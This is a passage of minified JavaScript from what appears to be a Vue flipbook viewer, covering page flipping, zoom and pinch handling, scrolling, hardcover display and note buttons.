o=[1.1,1.25,1.5,1.75,2,2.5,3,3.5,4,4.5,5].filter((t=>t>=i&&t<=s)).filter((i=>e>0?i>t:i<t));return e>0?o.shift():o.pop()},showSelectTextTip(){this.$store.getters["workspace/canShowSelectTextTip"]&&(this.$store.dispatch("workspace/setFlashMessage",{text:this.$tc("AlertMessage.SELECT_TEXT_TIP",0,{key:this.isMac?"⌘":"Ctrl"}),delay:1500}),this.$store.dispatch("workspace/increaseSelectTextTipShowsCount"))}}};function fs(t){let e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:1,i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{x:0,y:0};return{width:t.width*e,height:t.height*e,top:t.top+(i.y-i.y*e),left:t.left+(i.x-i.x*e)}}function ms(t,e){let i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:1,s=arguments.length>3&&void 0!==arguments[3]?arguments[3]:{x:0,y:0};return{width:e.width*i,height:e.height*i,top:t.height/2-s.y*i+2*t.top,left:t.width/2-s.x*i+2*t.left}}function bs(t,e){const{width:i,height:s}=t;let{top:o,left:r}=t;return s<e.height?o=(e.height-s)/2:o>0?o=0:s+o<e.height&&(o=e.height-s),i<e.width?r=(e.width-i)/2:r>0?r=0:i+r<e.width&&(r=e.width-i),{width:i,height:s,top:o,left:r}}function Ss(t,e){let i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:1;return 1===i?{x:0,y:0}:{x:(t.left-e.left)/(i-1),y:(t.top-e.top)/(i-1)}}i(8856),i(6965),i(9036),i(464),i(925);var vs=i(5109);const ws={"content-block":Ae,"content-link":Ue,"content-image":ti,"content-gallery":ri,"content-gif":di,"content-video":ji,"content-form":rs},ys={name:"FlipBook",mixins:[gs,us,g.Z],props:{containerSize:{type:Object,required:!0},pageSize:{type:Object,required:!0}},components:{page:et,selectTextPanel:ls},data:()=>({status:"ready",zoomFactor:1,scaleFactor:1,scaleOrigin:{x:0,y:0},holderScrollTop:0,holderScrollLeft:0,holderScrollY:0,holderScrollX:0,zoomTimeout:0,addNoteTimeout:0,hideLeftArrow:!1,hideRightArrow:!1,visiblePages:"right",animation:!1,lastWheelTime:0,dragActive:!0,stripesWidth:0,dragging:!1,lastZoomFactor:null,overriddenPagerState:null}),beforeMount:function(){this.visiblePages=this.getVisiblePages(),this.lastZoomFactor=this.defaultZoomFactor,this.zoomFactor=this.$store.state.pages.size.zoomFactor,this.setPageSize(this.pageSize)},mounted:function(){const t={};t.bookWidth=2*this.$store.state.pages.size.width,t.bookHeight=this.$store.state.pages.size.height,this.bookHolderElement=this.$el.querySelector("#book-holder"),this.lastZoomBlockID=null,this.flipAdapter=new Pe({bookSize:this.bookSize,state:this.$store,container:this.bookHolderElement,parentVm:this,contentCreator:this.contentCreator,initDomEvents:!this.isEmbed,isMobile:this.isMobile,version:this.version}),this.toggleBlockOnFlip(),this.flipAdapter.on("render:start",this.onRenderStart,this),this.flipAdapter.on("render:finish",this.onRenderFinish,this),this.flipAdapter.on("flip:finished",this.onFlipFinished,this),this.$root.$on("contextMenu:zoomIn",this.zoomIn),this.$root.$on("contextMenu:zoomOut",this.zoomOut),this.$root.$on("bottomMenu:zoomIn",this.zoomIn),this.$root.$on("bottomMenu:zoomOut",this.zoomOut),this.$root.$on("zoomPanel",this.changeZoom),this.$root.$on("zoomMove",this.zoomMove),this.$root.$on("wheel",this.onWheel),this.$root.$on("publication:mouseleave",this.refreshScroll),this.zoomFactor>1&&this.refreshScroll()},beforeDestroy(){this.$root.$off("contextMenu:zoomIn",this.zoomIn),this.$root.$off("contextMenu:zoomOut",this.zoomOut),this.$root.$off("bottomMenu:zoomIn",this.zoomIn),this.$root.$off("bottomMenu:zoomOut",this.zoomOut),this.$root.$off("zoomPanel",this.changeZoom),this.$root.$off("zoomMove",this.zoomMove),this.$root.$off("wheel",this.onWheel),this.$root.$off("publication:mouseleave",this.refreshScroll),this.flipAdapter.off("render:start",this.onRenderStart,this),this.flipAdapter.off("render:finish",this.onRenderFinish,this),this.flipAdapter.off("flip:finished",this.onFlipFinished,this),this.flipAdapter.destructor()},watch:{forceRerender:function(){this.forceRerender&&(this.$store.dispatch("pager/setForceRerender",{forceRerender:!1}),this.flipAdapter.resetBook())},pageSize:function(t){this.setPageSize(t)},zoomFactor:function(t,e){this.toggleBlockOnFlip();const i={width:this.pageSize.width,height:this.pageSize.height};if(i.width=i.width*t,i.height=i.height*t,i.zoomFactor=t,this.$store.dispatch("pages/changePageSize",i),t>1&&1===e){const t=this.$store.getters["pager/currentPages"].some((t=>this.$store.getters["pages/pageProp"](t,"textBlocks")),this);this.selectTextEnabled&&t&&!this.$store.state.pager.isMoveWatcherActive&&this.showSelectTextTip()}},zoomPanel(){this.toggleBlockOnFlip()},status:function(t){"ready"!==t?(this.$store.dispatch("pager/freeze",{target:"flip-book-zoom"}),this.$store.dispatch("workspace/setAnimationProgress",{animationType:this.scaleFactor>1&&1===this.zoomFactor?"initialZoom":"zoomNotInitial"})):(this.$store.dispatch("pager/unfreeze",{target:"flip-book-zoom"}),this.$store.dispatch("workspace/unsetAnimationProgress")),this.toggleBlockOnFlip(),this.refreshScroll(),this.$store.dispatch("workspace/setStatus",t)},bookSize:function(t){this.flipAdapter.resizeBook(t)},singleMode:function(t){this.zoomOut(!0),this.flipAdapter.setSingleMode(t)},currentPages(t,e){if(t.mode!==e.mode&&t.zoomMode!==e.zoomMode)return;if(t.isEqualState(e))return void(t.zoomMode?this.zoomIn():this.zoomOut(!1));const i=(t,e,i)=>{t.mode===e.mode&&this.$store.dispatch("sound/playFlipSound",{hardcover:e.hardcover||t.hardcover});const s=this.$store.getters["pager/getDeltaTurns"](e,t);if(1===Math.abs(s)){const e=s>0?"toLeft":"toRight",o=s>0?!t.rightPage||t.isLastSpread:!t.leftPage||t.isFirstSpread;"flipComponent"!==t.target&&"orientation"!==t.target&&o&&this.$store.dispatch("pager/setForceFlip",{forceFlip:!0}),this.flipAdapter.updateState(e,t,i)}else Math.abs(s)>1&&this.flipAdapter.updateState("toPage",t,i)};if(1!==this.zoomFactor){this.overriddenPagerState=e,this.zoomOut(!1);const s=this.$store.getters["pager/flipState"];this.$once("transition:end",(()=>{this.overriddenPagerState=null,setTimeout(i.bind(this,t,e,s),0)}))}else{const s=this.$store.getters["pager/flipState"];setTimeout(i.bind(this,t,e,s),0)}},isWorkspaceFrozen(t){t?this.flipAdapter.block(!1):this.flipAdapter.unblock()},workspaceSize(){if(1===this.zoomFactor)return;let t;if(this.isInitialZoom)t={x:this.isRTLBook?this.bookHolderSize.width:0,y:0};else{let e,i;e=this.bookHolderSize.width>this.containerSize.width?-this.holderScrollX+this.containerSize.width/2:this.bookHolderSize.width/2,i=this.bookHolderSize.height>this.containerSize.height?-this.holderScrollY+this.containerSize.height/2:this.bookHolderSize.height/2,t={x:e,y:i}}const e={x:t.x-this.bookHolderSize.left,y:t.y-this.bookHolderSize.top};this.scaleFactor=1;let i=ms(this.containerSize,this.bookHolderSize,this.scaleFactor,e);i=bs(i,this.containerSize),this.fixBounds(i),this.holderScrollLeft=i.left,this.holderScrollTop=i.top,this.scrollComponent?.refresh(),this.isInitialZoom&&this.$store.dispatch("workspace/clearInitialZoom")},isRTLBook(t){this.flipAdapter.setRtl(t)},isHardcover(t){this.zoomOut(!0),this.flipAdapter.setHardcover(t),this.$root.$emit("forceBookResize")},hardcoverColor(t){this.flipAdapter.setHardcoverColor(t)},hasThickness(t){this.flipAdapter.setThickness(t)},isOnlyRightPage(){const t=this.getVisiblePages();t!==this.visiblePages&&(this.visiblePages=t)},isOnlyLeftPage(){const t=this.getVisiblePages();t!==this.visiblePages&&(this.visiblePages=t)},dragActive(t){t?this.$refs.bookHolder.$el.classList.remove("nodrag"):this.$refs.bookHolder.$el.classList.add("nodrag")},isMini(){this.zoomOut(!0)},workspaceBookSize(){this.zoomOut(!0)},orientationChanged(t,e){e&&this.isMobile&&this.zoomOut(!0)}},computed:{isFirstSpread(){return this.$store.getters["pager/isFirstSpread"]},isLastSpread(){return this.$store.getters["pager/isLastSpread"]},isOuterHardcover(){return this.isHardcover&&(this.isFirstSpread||this.isLastSpread)},bookSize(){let t;const e=this.$store.state;return t=e.book.rightToLeft?"left"===this.visiblePages?-e.pages.size.width:0:this.singleMode||"right"===this.visiblePages?-e.pages.size.width:0,{width:2*this.$store.state.pages.size.width,height:this.$store.state.pages.size.height,top:this.containerSize.top+(this.containerSize.height-e.pages.size.height)/2,left:t}},isOnlyRightPage(){const t=this.overriddenPagerState??this.$store.getters["pager/state"];return t.spreadMode&&null===t.leftPage},isOnlyLeftPage(){const t=this.overriddenPagerState??this.$store.getters["pager/state"];return t.spreadMode&&null===t.rightPage},isOnlyPage(){return 1===this.$store.getters["pages/pagesCount"]},bookHolderSize(){const t="both"!==this.visiblePages,e=this.$store.getters["pages/size"],i=this.singleMode,s=this.isHardcover?1.03:1,o=this.containerSize.width,r=this.containerSize.height,a=this.holderScrollLeft,n=this.holderScrollTop,h=this.stripesWidth||0,l=24,c=t||i?e.width:2*e.width,d=e.height;let p,g;return 1===this.zoomFactor?(p=(o-c)/2,g=(r-d)/2):(p=a,g=n),this.$store.dispatch("workspace/setHolderSize",{width:c*s+2*h+2*l,height:d*s,left:1===this.zoomFactor?p:0,top:1===this.zoomFactor?g:0}),{width:Math.round(c),height:Math.round(d),top:Math.round(g),left:Math.round(p)}},bookHolderStyle(){const t=this.bookHolderSize,e=this.containerSize,i=this.zoomFactor,s=this.scaleOrigin,o=this.holderScrollLeft,r=this.holderScrollTop,a=this.scaleFactor,n=this.status,h=this.fastAnimation,l=this.animationSpeed,c=e.height>=t.height?Math.round(t.top)+"px":"0",d=e.width>=t.width?Math.round(t.left)+"px":"0",p={width:t.width+"px",height:t.height+"px",top:1===i?t.top+"px":c,left:1===i?t.left+"px":d};if("animating"===n||"pinch"===n||"scale"===n){p.transformOrigin=s.x+"px "+s.y+"px";const i="translate("+(e.width<t.width?o:0)+"px,"+(e.height<t.height?r:0)+"px) translateZ(0) ",c="scale3d("+a+", "+a+", "+a+")";p.transform=0!==r||0!==o?i+c:c;const d="transform "+(h?1:l)+"ms "+(this.isFirefox||h?"linear":"cubic-bezier(0.215, 0.61, 0.355, 1)");p.transition="animating"===n?d:"transform 0s"}else p.transition="transform 0s",1===i&&(p.transform="");return p},flipBookClass(){const t={};t.zoomed=1!==this.zoomFactor||1!==this.scaleFactor,t.rtl=this.isRTLBook,t["arrow-attract-right"]="right"===this.arrowAttract,t["arrow-attract-left"]="left"===this.arrowAttract;const e=this.$store.state.book.bookSize.height/this.$store.state.book.bookSize.width;return this.isHardcover&&(e<=1.1&&e>=.9?t.square=!0:e>1.1?t.portrait=!0:t.landscape=!0),t.scaling="scale"===this.status,t["drag-active"]=this.dragging,t["single-page"]=this.pageCount<=2,t["single-mode"]=this.singleMode,t},pageCount(){return this.$store.getters["pages/pagesCount"]},currentPages(){const t=this.$store.getters["pager/state"],e=this.$store.getters["pages/isFirstPage"](t.currentPage),i=t.spreadMode&&!this.$store.state.pager.spread_rightPage,s=this.isHardcover&&(e||i);return(0,I.Z)(t,{hardcover:s})},singleMode(){return this.$store.state.pager.singleMode},forceRerender(){return this.$store.state.pager.forceRerender},holderOriginalWidth(){return"both"!==this.visiblePages||this.singleMode?this.pageSize.width:2*this.pageSize.width},isWorkspaceFrozen(){return this.$store.state.workspace.freezed},frozenBy(){return this.$store.state.workspace.frozenBy?this.$store.state.workspace.frozenBy:null},zoomPanel(){return this.$store.state.workspace.zoomPanel},wheelScroll(){return this.$store.state.workspace.wheelScroll},workspaceSize(){return this.$store.state.workspace.containerSize},workspaceBookSize(){return this.$store.state.workspace.bookSize},orientationChanged(){return this.$store.getters["workspace/orientation"]},minZoom(){const t=this.isHardcover&&(this.isFirstPage||this.isLastPage)?1.03:1,e=this.singleMode?1:2,i=this.$store.state.workspace.bookSize/100;return Math.min(this.$store.state.workspace.containerSize.height*i/(this.$store.state.pages.size.height*t/this.$store.state.pages.size.zoomFactor),this.$store.state.workspace.containerSize.width*i/(this.$store.state.pages.size.width*t*e/this.$store.state.pages.size.zoomFactor))},maxZoom(){return this.$store.state.workspace.maxZoom},isInitialZoom(){return this.$store.state.workspace.initialZoom},animationSpeed(){return this.scaleFactor<1?400:600},isMini(){return this.$store.state.workspace.mini},isEmbed(){return this.$store.state.workspace.isEmbed},version(){return this.$store.getters["info/version"]},isMobile(){return this.$store.getters["workspace/isMobile"]},isFirefox(){return!0===this.$store.state.workspace.userAgentInfo.browser.firefox},isSafari(){return!!this.$store.state.workspace.userAgentInfo.browser.safari},isMac(){return!0===this.$store.state.workspace.userAgentInfo.os.mac},isRTLBook:function(){return this.$store.state.book.rightToLeft},isLocaleRtl:function(){return this.$store.getters["i18n/isLocaleRtl"]},isHardcover:function(){return this.$store.getters["book/hasHardcover"]},hardcoverColor:function(){return this.$store.state.book.hardcoverColor},hasThickness:function(){return this.$store.state.book.thickness},isFirstPage:function(){const t=this.$store.getters["pager/isFirstSpread"],e=this.$store.getters["pager/isLastSpread"];return this.isRTLBook?e:t},isLastPage:function(){const t=this.$store.getters["pager/isLastSpread"],e=this.$store.getters["pager/isFirstSpread"];return this.isRTLBook?e:t},isSecondPage(){const t=this.$store.getters["pager/prevPageId"];return this.$store.getters["pages/isFirstPage"](t)},isSecondToLastPage(){const t=this.$store.getters["pager/nextPageId"];return this.$store.getters["pages/isLastPage"](t)},isLightboxShown(){return this.$store.getters["lightbox/isShown"]},showBookButtons(){return!this.isLightboxShown&&1===this.zoomFactor&&1===this.scaleFactor&&"html"===this.version},showLeftButtons(){const t=this.showBookButtons&&!this.isFirstPage&&!(this.hideLeftArrow&&(this.isRTLBook?this.isSecondToLastPage:this.isSecondPage));return t||this.switchFocus("left","right"),t},showRightButtons(){const t=this.showBookButtons&&!this.isLastPage&&!(this.hideRightArrow&&(this.isRTLBook?this.isSecondPage:this.isSecondToLastPage));return t||this.switchFocus("right","left"),t},notesEnabled(){return this.$store.state.workspace.components.notes&&!this.isMini},showRightAddNote(){return(this.showRightButtons||this.hideRightArrow)&&(!this.isLocaleRtl||this.isFirstPage)},showOnlyAddNote(){return this.showBookButtons&&this.notesEnabled&&this.isOnlyPage},addNoteTitleText:function(){return this.$t("NotesToolWindow.ADD_NOTE")},leftArrowTitle(){return this.isRTLBook?this.$t("NavigationPanel.NEXT_PAGE_TIP"):this.$t("NavigationPanel.PREV_PAGE_TIP")},rightArrowTitle(){return this.isRTLBook?this.$t("NavigationPanel.PREV_PAGE_TIP"):this.$t("NavigationPanel.NEXT_PAGE_TIP")},leftMostArrowTitle(){return this.isRTLBook?this.$t("NavigationPanel.LAST_PAGE_TIP"):this.$t("NavigationPanel.FIRST_PAGE_TIP")},rightMostArrowTitle(){return this.isRTLBook?this.$t("NavigationPanel.FIRST_PAGE_TIP"):this.$t("NavigationPanel.LAST_PAGE_TIP")},bookState(){return this.flipAdapter},selectTextEnabled(){return!this.isMobile&&this.$store.state.workspace.components.textSelection},arrowAttract(){const t=this.$store.getters["workspace/callToNavigation"];return"arrow"===t.type&&t.side},bookEventHandlers(){return this.isEmbed?null:{pinchstart:this.onPinchStart,pinchmove:this.onPinchMove,pinchend:this.onPinchFinish,pinchcancel:this.onPinchFinish}},bookHolderEventHandlers(){const t=this.isEmbed?{}:{doubletap:this.zoomByTap.bind(this,"tap")};return t.tap=this.isHardcover?this.clickOnCover:()=>{},t}},methods:{fixBounds(t){if(this.isOuterHardcover){const e=this.scaleFactor*this.zoomFactor;if(e>1||e<.95){const i=this.isFirstSpread&&!this.isRTLBook||this.isLastSpread&&this.isRTLBook&&!this.singleMode,s=this.isLastSpread&&!this.isRTLBook&&!this.singleMode||this.isFirstSpread&&this.isRTLBook,o=this.$store.state.pages.size.width,r=Math.round(.03*o/this.zoomFactor*e/2);i?t.left=t.left-r:s&&(t.left=t.left+r)}}},setPageSize:function(t){const e={width:t.width*this.zoomFactor,height:t.height*this.zoomFactor,zoomFactor:this.zoomFactor};this.$store.dispatch("pages/changePageSize",e)},clickOnCover:function(t){const e=(0,l.iZ)(t.target);for(let i=0,s=e.length;i<s&&!e[i].classList.contains("page");i++){if(e[i].classList.contains("z1")&&e[i].classList.contains("hard-front")){this.rightPage();break}if(e[i].classList.contains("z3")&&e[i].classList.contains("hard-front")){this.leftPage();break}}},switchFocus:function(t,e){["notes","go","go-last"].forEach((i=>{const s=[i,t].join("-"),o=[i,e].join("-");document.body.contains(document.activeElement)&&document.activeElement?.getAttribute("data-nav-name")===s&&document.querySelector('[data-nav-name="'+o+'"]').focus()}))},onRenderStart(t){t.drag&&"left"===t.hide?this.hideLeftArrow=!0:t.drag&&"right"===t.hide&&(this.hideRightArrow=!0),this.animation=!0,this.$root.$emit("turnStart")},onRenderFinish(){this.hideLeftArrow=!1,this.hideRightArrow=!1,this.animation=!1,this.$root.$emit("render:finish"),this.$root.$emit("turnStop")},onFlipFinished(){this.$root.$emit("turned")},onWheel(t){if(!(!this.wheelScroll||this.isMini||Date.now()-this.lastWheelTime<200||t.target&&"note-article"===t.target.className)){if(t.ctrlKey||t.metaKey){if("ready"!==this.status)return;const e=-1*t.deltaY,i=this.getSuitableZoomFactor(this.zoomFactor,e,this.minZoom,this.maxZoom);e<0&&!i&&this.zoomOut(!1,"wheel-zoom"),i&&(this.$store.dispatch("pager/setLastTarget","wheel-zoom"),this.setZoom(i,!0,{x:t.clientX,y:t.clientY}))}else{if(this.zoomFactor>1||this.scaleFactor>1)return;this.$store.state.notes.opened&&this.$store.dispatch("notes/setOpenedId",{id:null}),t.deltaY>0?this.$store.dispatch("pager/goForward",{target:"wheel"}):t.deltaY<0&&this.$store.dispatch("pager/goBackward",{target:"wheel"})}this.lastWheelTime=Date.now()}},zoomMove(t){if(!t||!t.direction)return;if("ready"!==this.status)return void("drag"===t.direction&&(this.dragActive=t.active));let e;switch(t.direction){case"left":case"right":e=this.getScrollAmount(t,this.scrollComponent.x,0,this.containerSize,this.bookHolderSize),this.scrollComponent.scrollBy(e,0);break;case"up":case"down":e=this.getScrollAmount(t,0,this.scrollComponent.y,this.containerSize,this.bookHolderSize),this.scrollComponent.scrollBy(0,e);break;case"drag":this.dragActive=t.active,this.initScrollComponent(this.dragActive)}this.scrollComponent&&(this.holderScrollX=this.scrollComponent.x,this.holderScrollY=this.scrollComponent.y,this.$store.dispatch("text/setHolderScroll",{x:this.holderScrollX,y:this.holderScrollY}))},getVisiblePages(){return this.isOnlyRightPage?"right":this.isOnlyLeftPage?"left":"both"},toggleBlockOnFlip(){1!==this.zoomFactor||this.zoomPanel||"ready"!==this.status?this.flipAdapter.block(!0):setTimeout((()=>{this.flipAdapter.unblock()}),20)},refreshScroll(){this.cancelDragging(),this.$nextTick((()=>{this.zoomFactor>1&&"ready"===this.status?this.initScrollComponent(this.dragActive):this.scrollComponent&&(this.holderScrollX=0,this.holderScrollY=0,this.$store.dispatch("text/setHolderScroll",{x:this.holderScrollX,y:this.holderScrollY}),this.scrollComponent.destroy(),delete this.scrollComponent)}))},onScrollEnd:function(){this.cancelDragging(),this.holderScrollX=this.scrollComponent.x,this.holderScrollY=this.scrollComponent.y,this.$store.dispatch("text/setHolderScroll",{x:this.holderScrollX,y:this.holderScrollY})},onScrollBegin:function(){this.holderScrollX=this.scrollComponent.x,this.holderScrollY=this.scrollComponent.y,this.$store.dispatch("text/setHolderScroll",{x:this.holderScrollX,y:this.holderScrollY})},setDragging:function(){1!==this.zoomFactor&&(this.dragging=!0)},cancelDragging:function(){this.dragging=!1},zoomOut(t,e){if(1!==this.zoomFactor){if(this.lastZoomFactor=Math.max(this.zoomFactor,this.minZoomFactor),t)return this.status="calculating",this.zoomFactor=1,this.scaleFactor=1,this.refreshScroll(),this.holderScrollLeft=0,this.holderScrollTop=0,this.status="ready",this.$root.$emit("unzoomed"),void(this.fastAnimation=!1);this.zoomByTap(e,{center:{x:0,y:0}})}},zoomIn(t){this.zoomFactor>1||this.zoomByTap(t)},zoomByTap(t,e){if(t&&this.$store.dispatch("pager/setLastTarget",t),this.zoomTimeout>Date.now())return;if(this.isWorkspaceFrozen||"ready"!==this.status||"pending"!==this.$store.state.pager.flipState||this.isMini)return;e||(e={center:{x:this.isRTLBook?this.workspaceSize.width:0,y:0},target:null});const i=["next-button","previous-button","icon-book-next","icon-book-prev","reflex-container"];if(e.target&&(i.indexOf(e.target.className)>=0||e.target.classList.contains("stripe")||e.target.classList.contains("page-stripe")||(0,y.HD)(e.target.className)&&e.target.className.indexOf("stripe-block")>=0||"0-0"===e.target.dataset.page||"textarea"===e.target.tagName.toLowerCase()))return;this.status="calculating";let s,o=!1;const r=this.getTappedZoomBlock(e);if(this.isMobile&&r.id){o=this.lastZoomBlockID!==r.id;const t=this.bookHolderElement.getBoundingClientRect();s=this.getBlockRect(r.rect,t)}if(this.lastZoomBlockID=o?r.id:null,o){const t=1.5,e=40;let i=2,o=this.containerSize.width-e*i,r=1*(.96*o/s.width).toFixed(2);const a=this.bookHolderSize.width-s.width-s.left;(s.left*r<e||a*r<e)&&(i=1,o=this.containerSize.width-e*i,r=1*(.96*o/s.width).toFixed(2)),this.updateHolderScroll(!0),this.scaleFactor=this.checkScaleFactorForZoom(r,this.zoomFactor,this.maxZoom),this.scaleFactor*this.zoomFactor<t&&(this.scaleFactor=t/this.zoomFactor)}else this.scaleFactor=1!==this.zoomFactor||this.zoomPanel?this.holderOriginalWidth/this.bookHolderSize.width:this.lastZoomFactor;const a={x:e.center.x-this.bookHolderSize.left,y:e.center.y-this.bookHolderSize.top};let n=ms(this.containerSize,this.bookHolderSize,this.scaleFactor,a);if(o){const t=s.left*this.scaleFactor,e=s.width*this.scaleFactor;n.left=-t+(this.containerSize.width-e)/2}n=bs(n,this.containerSize),this.fixBounds(n),this.status="animating",this.scaleOrigin=Ss(this.bookHolderSize,n,this.scaleFactor),this.newBounds=n,this.refreshScroll(),this.flipAdapter.setZoom(this.scaleFactor*this.zoomFactor>1),this.scaleFactor>1?this.$root.$emit("zoomed"):(this.scaleFactor<1||this.zoomPanel&&1===this.scaleFactor)&&this.$root.$emit("unzoomed"),this.$store.dispatch("workspace/setHighlightTimeout",Date.now()+1e3)},onPinchStart(t){this.isWorkspaceFrozen||"ready"!==this.status||"inProgress"===this.$store.state.pager.flipState||this.isMini||(this.$store.dispatch("pager/setLastTarget","pinch-zoom"),this.minScale=this.holderOriginalWidth/this.bookHolderSize.width,this.scaleFactor=1,this.pinchCenter=t.center,this.isZoomed?(this.updateHolderScroll(!1),this.scaleOrigin={x:t.center.x-this.holderScrollLeft,y:t.center.y-this.holderScrollTop}):this.scaleOrigin={x:t.center.x-this.bookHolderSize.left,y:t.center.y-this.bookHolderSize.top},this.status="pinch")},onPinchMove(t){if("pinch"!==this.status)return;const e=this.minScale<t.scale?t.scale:this.minScale;if(this.scaleFactor=this.checkScaleFactorForZoom(e,this.zoomFactor,this.maxZoom),1!==this.scaleFactor){let t=fs(this.bookHolderSize,this.scaleFactor,this.scaleOrigin);t=bs(t,this.containerSize),this.scaleOrigin=Ss(this.bookHolderSize,t,this.scaleFactor)}},onPinchFinish(){if("pinch"!==this.status)return;let t=fs(this.bookHolderSize,this.scaleFactor,this.scaleOrigin);t=bs(t,this.containerSize),this.zoomFactor=1*(this.zoomFactor*this.scaleFactor).toFixed(2),this.scaleFactor=1,this.holderScrollLeft=this.isZoomed?t.left:0,this.holderScrollTop=this.isZoomed?t.top:0,this.status="ready",this.scaleFactor>1?this.$root.$emit("zoomed"):this.scaleFactor<1&&this.$root.$emit("unzoomed")},setZoom(t){let e=!(arguments.length>1&&void 0!==arguments[1])||arguments[1],i=arguments.length>2?arguments[2]:void 0;if(this.isWorkspaceFrozen||"ready"!==this.status)return;this.scaleFactor=t/this.zoomFactor,this.updateHolderScroll(!1);const s=i||{x:this.workspaceSize.width/2,y:this.workspaceSize.height/2},o={x:s.x-this.bookHolderSize.left,y:s.y-this.bookHolderSize.top};let r=fs(this.bookHolderSize,this.scaleFactor,o);r=bs(r,this.containerSize),this.fixBounds(r),this.scaleOrigin=Ss(this.bookHolderSize,r,this.scaleFactor),this.newBounds=r,this.flipAdapter.setZoom(this.scaleFactor*this.zoomFactor>1),this.fastAnimation=e,this.status="animating",this.refreshScroll()},setScaleStart(){this.minScale=Math.max(this.minZoom/this.zoomFactor,this.holderOriginalWidth/this.bookHolderSize.width),this.maxScale=this.maxZoom/this.zoomFactor,this.scaleFactor=1,this.updateHolderScroll(!1),this.scaleOrigin={x:this.workspaceSize.width/2-this.holderScrollLeft,y:this.workspaceSize.height/2-this.holderScrollTop},this.status="scale"},setScale(t){if("scale"!==this.status)return;const e=this.minScale+(this.maxScale-this.minScale)*t;let i=fs(this.bookHolderSize,e,{x:this.workspaceSize.width/2-this.holderScrollLeft,y:this.workspaceSize.height/2-this.holderScrollTop});i=bs(i,this.containerSize),this.fixBounds(i),this.scaleOrigin=Ss(this.bookHolderSize,i,e);const s=Math.min(this.maxScale,Math.max(this.minScale,e));this.scaleFactor=this.checkScaleFactorForZoom(s,this.zoomFactor,this.maxZoom)},setScaleFinish(){if("scale"!==this.status)return;let t=fs(this.bookHolderSize,this.scaleFactor,this.scaleOrigin);t=bs(t,this.containerSize),this.fixBounds(t),this.zoomFactor=1*(this.zoomFactor*this.scaleFactor).toFixed(2),this.scaleFactor=1,this.holderScrollLeft=1!==this.zoomFactor?t.left:0,this.holderScrollTop=1!==this.zoomFactor?t.top:0,this.status="ready"},changeZoom(t){switch(this.$store.dispatch("pager/setLastTarget","change-zoom"),t.action){case"setZoom":this.setZoom(t.zoomFactor,t.fast);break;case"startScale":this.setScaleStart();break;case"changeScale":this.setScale(t.scalePosition);break;case"endScale":this.setScaleFinish();break;case"zoomIn":this.zoomByTap();break;case"zoomOut":this.dragActive=!0,this.zoomOut()}},transitionEnd(t){t&&"transform"===t.propertyName&&t.target===this.bookHolderElement&&"animating"===this.status&&(this.fastAnimation=!1,this.lastZoomFactor=Math.max(this.zoomFactor,this.minZoomFactor),this.zoomFactor=1*(this.zoomFactor*this.scaleFactor).toFixed(2),this.scaleFactor=1,this.holderScrollLeft=1===this.zoomFactor?0:this.newBounds.left,this.holderScrollTop=1===this.zoomFactor?0:this.newBounds.top,this.status="ready",this.$emit("transition:end"))},updateHolderScroll(t){t&&1===this.zoomFactor||(this.containerSize.width<this.bookHolderSize.width&&(this.holderScrollLeft=this.holderScrollX),this.containerSize.height<this.bookHolderSize.height&&(this.holderScrollTop=this.holderScrollY))},contentCreator:t=>ws["content-"+t.type],rightPage(){this.addNoteTimeout>Date.now()||this.$store.state.pager.freezed||(this.zoomTimeout=Date.now()+500,setTimeout((()=>{this.movePagerRight({target:"nav-arrow-tap"})}),0))},leftPage(){this.addNoteTimeout>Date.now()||this.$store.state.pager.freezed||(this.zoomTimeout=Date.now()+500,setTimeout((()=>{this.movePagerLeft({target:"nav-arrow-tap"})}),0))},rightmostPage(){this.zoomTimeout=Date.now()+500,setTimeout((()=>{this.movePagerRightmost({navTarget:!0})}),0)},leftmostPage(){this.zoomTimeout=Date.now()+500,setTimeout((()=>{this.movePagerLeftmost({navTarget:!0})}),0)},arrowHover(t,e){e?this.$el.classList.add(t+"-highlighted"):this.$el.classList.remove(t+"-highlighted")},btnAddNote(t){let e,i,s;this.zoomTimeout=Date.now()+500,this.addNoteTimeout=Date.now()+500,this.currentPages.singleMode?(e=this.currentPages.currentPage,i=this.currentPages.widePageSecondHalf,s=this.isRTLBook&&this.$store.getters["pages/pageProp"](e,"wide")&&!i):(e="left"===t&&!this.isRTLBook||"right"===t&&this.isRTLBook?this.currentPages.leftPage:this.currentPages.rightPage,i="right"===t&&this.currentPages.wide),this.$store.dispatch("notes/addNote",{pageId:e,wideRight:i,wideOpposite:s,target:"flipBook"})},initScrollComponent(){let t=!(arguments.length>0&&void 0!==arguments[0])||arguments[0];if(1===this.zoomFactor)return;this.scrollComponent?(this.holderScrollX=this.scrollComponent.x,this.holderScrollY=this.scrollComponent.y,this.scrollComponent.off("beforeScrollStart",this.setDragging),this.scrollComponent.off("scrollCancel",this.cancelDragging),this.scrollComponent.off("scroll",this.onScrollBegin),this.scrollComponent.off("scrollEnd",this.onScrollEnd),this.scrollComponent.destroy(),delete this.scrollComponent):(this.holderScrollX=this.containerSize.width<this.bookHolderSize.width?this.bookHolderSize.left:0,this.holderScrollY=this.containerSize.height<this.bookHolderSize.height?this.bookHolderSize.top:0),this.scrollComponent=new vs.ZP(this.$el,{mouseWheel:t,scrollbars:!1,freeScroll:!this.isMobile,scrollX:this.containerSize.width<this.bookHolderSize.width,scrollY:this.containerSize.height<this.bookHolderSize.height,probeType:this.isSafari?3:1,bindToWrapper:this.isMobile,bounce:!1,startX:this.holderScrollX,startY:this.holderScrollY,disablePointer:!0,disableTouch:!1,disableMouse:!t}),this.$store.dispatch("text/setHolderScroll",{x:this.holderScrollX,y:this.holderScrollY}),this.scrollComponent.on("beforeScrollStart",this.setDragging),this.scrollComponent.on("scrollCancel",this.cancelDragging),this.scrollComponent.on("scroll",this.onScrollBegin),this.scrollComponent.on("scrollEnd",this.onScrollEnd);this.scrollComponent.scroller.translater.hooks.on("beforeTranslate",(()=>{"text-context-menu"===this.$store.state.workspace.activeInteractiveElement?this.$store.dispatch("workspace/setActiveInteractiveElement","selected-text"):"selected-text"!==this.$store.state.workspace.activeInteractiveElement&&this.$store.dispatch("workspace/setActiveInteractiveElement",null)}))},getPageInfo(t,e,i){return{page:t,wide:this.$store.getters["pages/pageProp"](t,"wide"),first:this.$store.getters["pages/isFirstPage"](t),last:this.$store.getters["pages/isLastPage"](t),index:null!==t?this.$store.getters["pages/pageIndexById"](t):this.$store.getters["pages/pageIndexById"](e)+i}},getStateInfo